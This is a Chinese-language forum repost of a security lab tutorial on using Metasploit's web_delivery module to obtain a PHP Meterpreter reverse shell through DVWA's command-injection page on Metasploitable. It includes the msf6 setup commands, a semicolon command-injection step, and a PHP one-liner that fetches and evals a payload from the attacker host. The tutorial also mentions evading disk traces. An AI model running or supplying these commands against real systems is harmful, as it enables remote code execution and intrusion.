搜索

[27157] 2021-02-09_使用Metasploitweb_delivery反弹shell

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-19
2021-02-09_使用Metasploitweb_delivery反弹shell 使 用 M e t a s p l o i t   w e b _ d e l i v e r y 反 弹 s h e l l 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 2 - 0 9 出 品 ｜ 出 品 ｜ M S 0 8 0 6 7 实 验 室 （ 实 验 室 （ w w w . m s 0 8 0 6 7 . c o m ） ） 本 文 作 者 ： 大 方 子 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 大 方 子 微 信 （ 欢 迎 骚 扰 交 流 ） ： 一 、 模 块 简 介 一 、 模 块 简 介 M e t a s p l o i t 的 W e b   D e l i v e r y   S c r i p t 是 一 个 多 功 能 模 块 ， 可 在 托 管 有 效 负 载 的 攻 击 机 器 上 创 建 服 务 器 。 当 受 害 者 连 接 到 攻 击 服 务 器 时 ， 负 载 将 在 受 害 者 机 器 上 执 行 。 二 、 利 用 条 件 二 、 利 用 条 件 此 漏 洞 需 要 一 种 在 受 害 机 器 上 执 行 命 令 的 方 法 。 特 别 是 你 必 须 能 够 从 受 害 者 到 达 攻 击 机 器 。 远 程 命 令 执 行 是 使 用 此 模 块 的 攻 击 向 量 的 一 个 很 好 的 例 子 。 W e b   D e l i v e r y 脚 本 适 用 于 p h p ， p y t h o n 和 基 于 P o w e r S h e l l 的 应 用 程 序 。 当 攻 击 者 对 系 统 有 一 定 的 控 制 权 时 ， 这 种 攻 击 成 为 一 种 非 常 有 用 的 工 具 ， 但 不 具 有 完 整 的 s h e l l 。 另 外 ， 由 于 服 务 器 和 有 效 载 荷 都 在 攻 击 机 器 上 ， 所 以 攻 击 继 续 进 行 而 没 有 写 入 磁 盘 。 这 有 助 于 保 持 攻 击 指 纹 。 三 、 实 战 案 例 三 、 实 战 案 例 这 是 在 M e t a s p l o i t a b l e 中 的 D a m n   V u l n e r a b l e   W e b   A p p l i c a t i o n （ D V W A ） 上 执 行 此 模 块 的 一 个 示 例 。 点 击 左 侧 面 板 中 的 “ D V W A   S e c u r i t y ” 。 将 安 全 级 别 设 置 为 “ l o w ” ， 然 后 单 击 “ S u b m i t ” 。               首 先 ， 我 们 检 查 简 单 的 命 令 执 行 。 点 击 “ C o m m a n d   E x e c u t i o n ” 。 输 入 一 个 I P 地 址 ， 后 跟 一 个 分 号 和 您 希 望 执 行 的 命 令 。
接 下 来 开 始 使 用 M S F 进 行 攻 击 然 后 让 目 标 执 行 得 到 s h e l l 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！   m s f 6   >   u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y m s f 6   e x p l o i t ( m u l t i / s c r i p t / w e b _ d e l i v e r y )   >   s e t   t a r g e t   p h p m s f 6   e x p l o i t ( m u l t i / s c r i p t / w e b _ d e l i v e r y )   >   s e t   p a y l o a d   p h p / m e t e r p r e t e r / r e v e r s e _ t c p m s f 6   e x p l o i t ( m u l t i / s c r i p t / w e b _ d e l i v e r y )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 6 1 . 1 4 5 m s f 6   e x p l o i t ( m u l t i / s c r i p t / w e b _ d e l i v e r y )   >   r u n p h p   - d   a l l o w _ u r l _ f o p e n = t r u e   - r   " e v a l ( f i l e _ g e t _ c o n t e n t s ( ' h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 4 5 : 8 0 8 0 / T j a c n U 4 Z 4 4 g 2 D u K ' ,   f a l s e ,   s t r e a m _ c o n t e x t _ c r e a t e ( [ ' s s l ' = > [ ' v e r i f y _ p e e r ' = > f a l s e , ' v e r i f y _ p e e r _ n a m e ' = > f a l s e ] ] ) ) ) ; "
  目 前 目 前 3 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理